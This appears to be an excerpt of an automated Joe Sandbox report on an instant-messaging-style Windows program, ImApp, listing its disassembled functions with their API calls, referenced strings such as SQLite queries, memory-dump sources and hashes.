Sleep.KERNEL32(000003E8,?,?,00000001,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A1B6
InterlockedCompareExchange.KERNEL32(100107BC,00000001,00000000), ref: 1000A1C0
_amsg_exit.MSVCR80 ref: 1000A1D2
_decode_pointer.MSVCR80(?,?,00000001,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A1E6
_decode_pointer.MSVCR80(?,00000001,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A1F5
_encoded_null.MSVCR80(00000001,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A207
_decode_pointer.MSVCR80(?,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A217
free.MSVCR80 ref: 1000A224
_encoded_null.MSVCR80(?,1000D490,00000010,1000A38B,?), ref: 1000A22B
InterlockedExchange.KERNEL32(100107BC,00000000), ref: 1000A248

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ExchangeInterlocked$_decode_pointer$CompareSleep_amsg_exit_encoded_null$_initterm_initterm_efree
String ID:
API String ID: 2174737765-0
Opcode ID: 84faa3b041e6309c9ad57c9226243de2129aab3458dac8fae1d88941cdc4223a
Instruction ID: 3116ab8662ad40e207eff2419e8e26af6d7806accda4b1f64f03e8b40bd37ed8
Opcode Fuzzy Hash: 84faa3b041e6309c9ad57c9226243de2129aab3458dac8fae1d88941cdc4223a
Instruction Fuzzy Hash: FB41B231608319DFF790DF64CCC4E9A7BE4EB467D1F21462AF941821A9CBB1E8C0DA91

Function 020EAB05 Relevance: 24.1, APIs: 16, Instructions: 141sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?,00000001,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAB62
InterlockedCompareExchange.KERNEL32(021051FC,?,00000000), ref: 020EAB6B
_amsg_exit.MSVCR80 ref: 020EAB89
_initterm_e.MSVCR80 ref: 020EABA4
_initterm.MSVCR80 ref: 020EABC0
InterlockedExchange.KERNEL32(021051FC,00000000), ref: 020EABD5
Sleep.KERNEL32(000003E8,?,?,00000001,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAC26
InterlockedCompareExchange.KERNEL32(021051FC,00000001,00000000), ref: 020EAC30
_amsg_exit.MSVCR80 ref: 020EAC42
_decode_pointer.MSVCR80(?,?,00000001,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAC56
_decode_pointer.MSVCR80(?,00000001,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAC65
_encoded_null.MSVCR80(00000001,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAC77
_decode_pointer.MSVCR80(?,?,020EAD2F,00000001,?,?,020FC738,00000010,020EADFB,?), ref: 020EAC87
free.MSVCR80 ref: 020EAC94
_encoded_null.MSVCR80(?,020FC738,00000010,020EADFB,?), ref: 020EAC9B
InterlockedExchange.KERNEL32(021051FC,00000000), ref: 020EACB8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ExchangeInterlocked$_decode_pointer$CompareSleep_amsg_exit_encoded_null$_initterm_initterm_efree
String ID:
API String ID: 2174737765-0
Opcode ID: ce6cb32428123e98a9567613de799ea9b190292d134401846b99cf30e06cd406
Instruction ID: 024f5b6aa62fcb4d91d8680f7d92671781b9d0527aa0f4369506cb82e3fca36a
Opcode Fuzzy Hash: ce6cb32428123e98a9567613de799ea9b190292d134401846b99cf30e06cd406
Instruction Fuzzy Hash: 3741C230AC8305EFDF51AF20E8C4A6ABBE6FB58719F50081AF50782591CB7598D0EB61

Function 0041A260 Relevance: 24.1, APIs: 16, Instructions: 139windowCOMMON

Download Yara Rule

APIs

#310.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,00420F71,000000FF), ref: 0041A2A3
#1322.IMUTILSU(00003ACA,?), ref: 0041A2BB
#1220.MFC80U(00000004,00000002,00000000,?), ref: 0041A2D4
#578.MFC80U ref: 0041A2F5
#1079.MFC80U ref: 0041A306
#1299.MFC80U ref: 0041A30E
#678.IMUTILSU(?), ref: 0041A35D
VariantClear.OLEAUT32(?), ref: 0041A37A
#675.IMUTILSU(00000001), ref: 0041A386
#455.IMUTILSU(00000001), ref: 0041A38D
#675.IMUTILSU(?,00000000,00000000,00000001), ref: 0041A39A
#1571.IMUTILSU(?,00000000,00000000,00000001), ref: 0041A3A1
#496.MFC80U(00000001,00000003,?,00000000,00000000,00000001), ref: 0041A3AE
#685.IMUTILSU(?,00000000), ref: 0041A3DC
VariantClear.OLEAUT32(?), ref: 0041A3F3
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0041A40C

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #675ClearVariant$#1079#1220#1299#1322#1571#310#455#496#578#678#685MessagePost
String ID:
API String ID: 1937519659-0
Opcode ID: 44bce4930d5adafbc048b3944635cf9a4988385d47e05b8a391e82a21861c667
Instruction ID: f4b6ede1e29b1a0cf5814becd9a06cfd9f7175185586b4908d1fdc32fb8b5da0
Opcode Fuzzy Hash: 44bce4930d5adafbc048b3944635cf9a4988385d47e05b8a391e82a21861c667
Instruction Fuzzy Hash: 1451A3712053009FD314EF25C989B9AB7E4EF84704F80851EF5848B3E2DBB9E846CB96

Function 03273D10 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 152libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dwmapi.dll), ref: 03273DE1
GetProcAddress.KERNEL32(00000000,DwmIsCompositionEnabled), ref: 03273DF9
GetProcAddress.KERNEL32(00000000,DwmExtendFrameIntoClientArea), ref: 03273E06
??2@YAPAXI@Z.MSVCR80(0000001C), ref: 03273E1C
CreateWindowExA.USER32(00080088,03278518,Windowless Flash Player,80000000,00000000,00000000,0000000A,0000000A,00000000,00000000,00000000,00000000), ref: 03273E6A
SetWindowLongA.USER32(00000000,00000004), ref: 03273E7E
??2@YAPAXI@Z.MSVCR80(00000038), ref: 03273E86
ShowWindow.USER32(?,00000008,03273040), ref: 03273EED
UpdateWindow.USER32 ref: 03273EF9

Part of subcall function 03272470: OutputDebugStringW.KERNEL32(************************************************), ref: 03272487
Part of subcall function 03272470: OutputDebugStringW.KERNEL32(?), ref: 0327248E
Part of subcall function 03272470: OutputDebugStringW.KERNEL32(************************************************), ref: 03272495
Part of subcall function 03272470: LoadLibraryW.KERNEL32(?), ref: 03272498
Part of subcall function 03272470: GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 032724AE
Part of subcall function 03272470: LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 032724DD

Strings

dwmapi.dll, xrefs: 03273DDC
DwmExtendFrameIntoClientArea, xrefs: 03273DFB
DwmIsCompositionEnabled, xrefs: 03273DF3
Windowless Flash Player, xrefs: 03273E5F

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: Window$AddressDebugLoadOutputProcString$??2@Library$CreateLongShowTypeUpdate
String ID: DwmExtendFrameIntoClientArea$DwmIsCompositionEnabled$Windowless Flash Player$dwmapi.dll
API String ID: 2538437197-3929440480
Opcode ID: 2277f40b907386cfaaa57380b91f4f10be1aa53e03ae1bd04729de59ed5dee76
Instruction ID: b0fde45e23ee3a3c15f5096fe4e996e6f36a38c1c12233849bd3ba418180613f
Opcode Fuzzy Hash: 2277f40b907386cfaaa57380b91f4f10be1aa53e03ae1bd04729de59ed5dee76
Instruction Fuzzy Hash: 685139B4660300AFD314EF28E94AF26B7E4BF48B04F04851DE52997795E7B0E840CB95

Function 10002BB0 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 119COMMON

Download Yara Rule

APIs

#2.IMDBU(CommonData,DC7F1836), ref: 10002BDD

Part of subcall function 10002250: #310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 10002278
Part of subcall function 10002250: #2311.MFC80U(?,SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='%s',?,?,?,?,1000B4A9,000000FF), ref: 10002295
Part of subcall function 10002250: #578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 100022CE

#310.MFC80U(DC7F1836), ref: 10002BEE
#7.IMDBU(?,CommonField,00000003,?,00000001,00000000), ref: 10002C17

Part of subcall function 100026F0: #6735.MFC80U(1000C72C,DC7F1836), ref: 10002721
Part of subcall function 100026F0: #899.MFC80U(1000C6A8,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002742
Part of subcall function 100026F0: #899.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 1000274F
Part of subcall function 100026F0: #896.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 1000275C
Part of subcall function 100026F0: #310.MFC80U(?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002766

#310.MFC80U ref: 10002C2F
#2311.MFC80U(?,CREATE %s TABLE IF NOT EXISTS %s(%s),1000CBCC,CommonData,?), ref: 10002C4F
sqlite3_step.SQLITE3(?,?,?), ref: 10002C9B
sqlite3_finalize.SQLITE3(?,?), ref: 10002CC5
#578.MFC80U ref: 10002CF6
#578.MFC80U ref: 10002D08

Strings

CommonData, xrefs: 10002BD6, 10002C3B
CommonField, xrefs: 10002C0F
.?AVout_of_range@std@@, xrefs: 10002C1F
CREATE %s TABLE IF NOT EXISTS %s(%s), xrefs: 10002C49

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #310$#578$#2311#899$#6735#896sqlite3_finalizesqlite3_step
String ID: .?AVout_of_range@std@@$CREATE %s TABLE IF NOT EXISTS %s(%s)$CommonData$CommonField
API String ID: 2598134210-1718692809
Opcode ID: 9c99cfa3baaf466c36a59a0a541682cc62229446bd5b9635a337054aa9d038c9
Instruction ID: 0376a804ba4e2e6523eb57f00bf3c7b9f8bbf57399d447fd0f94ee99cec4815e
Opcode Fuzzy Hash: 9c99cfa3baaf466c36a59a0a541682cc62229446bd5b9635a337054aa9d038c9
Instruction Fuzzy Hash: A9417E756083199BF604DF64CC84E6FB7D8EB882D0F05091CF9869325AEB74ED04CBA2

Function 020C2570 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

#6161.MFC80U(?,?,?,?,?,?,?,?,?,020EBEB5,000000FF), ref: 020C25BA
#310.MFC80U(?,?,?,?,?,?,?,?,?,020EBEB5,000000FF), ref: 020C25D0
#310.MFC80U(?,?,?,?,?,?,?,?,?,020EBEB5,000000FF), ref: 020C25E3
#6161.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EBEB5,000000FF), ref: 020C260F
#1476.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,020EBEB5,000000FF), ref: 020C2628
#2311.MFC80U(?,"%s" <%s>,?,265105E4), ref: 020C2646
#280.MFC80U(?,265105E4), ref: 020C2674
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EBEB5), ref: 020C2687
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EBEB5), ref: 020C2695
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EBEB5), ref: 020C26A4

Strings

<%s>, xrefs: 020C265A
"%s" <%s>, xrefs: 020C2640

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310#6161$#1476#2311#280
String ID: "%s" <%s>$<%s>
API String ID: 675618855-2125714753
Opcode ID: 941a7a8e47286000ba66ceca50426dfe538960f0123510d3eea3f92cd6e23d0c
Instruction ID: 07a71ce2915963bd40725fb47b46fa030fec6c90fc6694bf7eca68b6f68e543c
Opcode Fuzzy Hash: 941a7a8e47286000ba66ceca50426dfe538960f0123510d3eea3f92cd6e23d0c
Instruction Fuzzy Hash: AC413675548341DFC305DF18D898B5AFBE4FB98714F008D1DF99A83681DB34A909CBA2

Function 00417DD0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 88libraryloaderCOMMON

Download Yara Rule

APIs

#42.IMUTILSU(FC8A6036,?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417DF9
#18.IMUTILSU(FC8A6036,?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E10
#40.IMLOOKU(FC8A6036,?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E20
#310.MFC80U(FC8A6036,?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E30
#310.MFC80U(?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E41
#310.MFC80U(?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E5E
VariantInit.OLEAUT32(000002F0), ref: 00417E70
#2344.IMUTILSU(?,?,00000000,00000000,00420A6D,000000FF,00413F9E), ref: 00417E81
memset.MSVCR80 ref: 00417EE7
LoadLibraryW.KERNEL32(OleAcc.dll), ref: 00417EF4
GetProcAddress.KERNEL32(00000000,AccessibleObjectFromPoint), ref: 00417F16

Strings

AccessibleObjectFromPoint, xrefs: 00417F10
OleAcc.dll, xrefs: 00417EEF

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #310$#2344AddressInitLibraryLoadProcVariantmemset
String ID: AccessibleObjectFromPoint$OleAcc.dll
API String ID: 160717878-425634017
Opcode ID: 635c0bb3f422f46d15333e8418158ee06c17087324ebb02c3131989c1d84ffc3
Instruction ID: 72116a5a599d6a14c23379513781e827cdd9314f582435bc7d05a4cd3dde6a66
Opcode Fuzzy Hash: 635c0bb3f422f46d15333e8418158ee06c17087324ebb02c3131989c1d84ffc3
Instruction Fuzzy Hash: 2941B7B0505B419FD321DF2AD8887D7FBE8BFA5300F50491FE4AA82261DBB46144CB96

Function 00405E50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

#5.IMUTILSU(FC8A6036), ref: 00405E79
#219.IMUTILSU(?), ref: 00405E8F
#310.MFC80U(?), ref: 00405E9C
#1679.IMUTILSU(?,00000000,00000000), ref: 00405EB0
#3391.MFC80U(*.*,00000000,?,00000000,FC8A6036), ref: 00405EC6
#2021.IMUTILSU(00000000), ref: 00405ECD
#578.MFC80U ref: 00405EE0
#731.IMUTILSU(?), ref: 00405EEB
_time64.MSVCR80 ref: 00405EF9
#810.IMUTILSU(0000003A,00000000,00000000), ref: 00405F0B
#1326.IMUTILSU(0000003A,00000000,00000000), ref: 00405F12
#65.IMUTILSU(?), ref: 00405F36

Strings

*.*, xrefs: 00405EBD

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1326#1679#2021#219#310#3391#578#731#810_time64
String ID: *.*
API String ID: 2139825041-438819550
Opcode ID: ad2dfb179b702f82f9e32d41d37cf9070ba67268c9e850cf14203bf27aec1b59
Instruction ID: 8e64cae1cfb6484129cc853aad4010e0d35b7c03063fd755474324f0cc68e89d
Opcode Fuzzy Hash: ad2dfb179b702f82f9e32d41d37cf9070ba67268c9e850cf14203bf27aec1b59
Instruction Fuzzy Hash: F121B271248340ABD310EB26DC06B9BBBE4EF90754F40093EF441963E1EBB8D545CBAA

Function 100094C0 Relevance: 22.6, APIs: 15, Instructions: 109synchronizationmemoryCOMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100094F3
#310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009506
#310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009516
#310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009524
#310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009532

Part of subcall function 10009940: #6735.MFC80U(00000004,DC7F1836,00000000,?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796), ref: 1000996B
Part of subcall function 10009940: #5484.MFC80U(0000005C,0000002F,?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000), ref: 10009981
Part of subcall function 10009940: #4078.MFC80U(?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 1000998B
Part of subcall function 10009940: #774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 100099B0
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 100099BF
Part of subcall function 10009940: #774.MFC80U(00000000,?,?,?,?,?,?,?,?,000000FF), ref: 100099E4
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,?,000000FF), ref: 100099F3
Part of subcall function 10009940: #774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A18
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A27
Part of subcall function 10009940: #774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A4C
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A5B
Part of subcall function 10009940: #774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A80
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A8F
Part of subcall function 10009940: #578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009AA1

CreateEventW.KERNEL32(00000000,00000001,00000000,?,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009556
CreateEventW.KERNEL32(00000000,00000000,00000001,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009564
CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009577
CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009584
TlsAlloc.KERNEL32(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009593
CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095C9
CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095CF
CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095D5
CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095DB
CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095E1

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#310#774CloseHandle$Create$EventMutex$#4078#5484#6735Alloc
String ID:
API String ID: 3488049750-0
Opcode ID: f4b61191c4f7ce7c01799bcfc74a1e0919e4a18fc26c612cc986a2374161f24b
Instruction ID: d4e2db337538d6adc2ca2b722134a8da5320f5c16db0c7b02c439c1b845d0cd0
Opcode Fuzzy Hash: f4b61191c4f7ce7c01799bcfc74a1e0919e4a18fc26c612cc986a2374161f24b
Instruction Fuzzy Hash: 55415BB5604B049FE720DF66CC84B56F7E8EF88750F004A1EE59683690C7B4E949CF61

Function 10003290 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

ImDB Error, xrefs: 100034AD, 100034C3, 100034D4
e, xrefs: 100032EE
SQLite Err: 0x%X, ImErr: 0x%X, xrefs: 1000349A

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID:
String ID: ImDB Error$SQLite Err: 0x%X, ImErr: 0x%X$e
API String ID: 0-3231974344
Opcode ID: 7d6766776f4922609fadbf6e86c7de52d14bb5b12b717cd64d5491892d245491
Instruction ID: e6a2d68de56bba75e87cb01964b71e15d000be1b442ce8cb0a0fe4e346694dba
Opcode Fuzzy Hash: 7d6766776f4922609fadbf6e86c7de52d14bb5b12b717cd64d5491892d245491
Instruction Fuzzy Hash: 0251A1BD2487919BE203DFAECC4150FF6AEEF49690B5541B9BC40DB72AC7687D0047A1

Function 100024F0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,?,?,1000B5D9,000000FF), ref: 1000252E
#899.MFC80U(1000C6A8,?,?,?,?,?,1000B5D9,000000FF), ref: 10002549
#896.MFC80U(?,?,?,?,?,?,1000B5D9,000000FF), ref: 10002563
#23.IMDBU(?,?,?,?,?,?,?,?,?,1000B5D9,000000FF), ref: 10002586
#578.MFC80U(?,?,?,?,?,1000B5D9,000000FF), ref: 10002599
#1176.MFC80U(?,?,?,?,?,1000B5D9,000000FF), ref: 100025B7
#310.MFC80U(DC7F1836,00000000,?,00000000,1000B4A9,000000FF,?,?,?,?,?,1000B5D9,000000FF), ref: 100025E8
#2311.MFC80U(00000000,CREATE %s VIEW IF NOT EXISTS %s AS %s,TEMP,?,?,?,00000000,1000B4A9,000000FF,?,?,?,?,?,1000B5D9,000000FF), ref: 1000261C
#8.IMDBU(?,00000000,00000000), ref: 10002630
#578.MFC80U(?,?,?,?,?,?,?,?,?,1000B5D9,000000FF), ref: 10002643

Strings

CREATE %s VIEW IF NOT EXISTS %s AS %s, xrefs: 10002616
TEMP, xrefs: 100025FB, 10002611

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #310#578$#1176#2311#896#899
String ID: CREATE %s VIEW IF NOT EXISTS %s AS %s$TEMP
API String ID: 2397266303-2406227654
Opcode ID: 6d6162443025e68e2fba2697abd85f48f208ff437c94518f026a8a213f0f49df
Instruction ID: 3574d408a26525a61915bdee83d17ffb4acb5a6226f1f6c54b86c5ad9e3b4d90
Opcode Fuzzy Hash: 6d6162443025e68e2fba2697abd85f48f208ff437c94518f026a8a213f0f49df
Instruction Fuzzy Hash: 27418C761087559FE315CF08DC80F5BB7E4EB887A0F004A1EF89A97295DB30E905CB96

Function 020CCAA0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

#9.IMDBU ref: 020CCAE1
#20.IMDBU ref: 020CCB06
#12.IMDBU(SELECT DomainName FROM Domains WHERE GetFaviconCounter < :GetFaviconCounter,?,00000001), ref: 020CCB1D
#16.IMDBU ref: 020CCBB1

Strings

DomainName, xrefs: 020CCB5E
SELECT DomainName FROM Domains WHERE GetFaviconCounter < :GetFaviconCounter, xrefs: 020CCAD5, 020CCB16
GetFaviconCounter, xrefs: 020CCACD

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
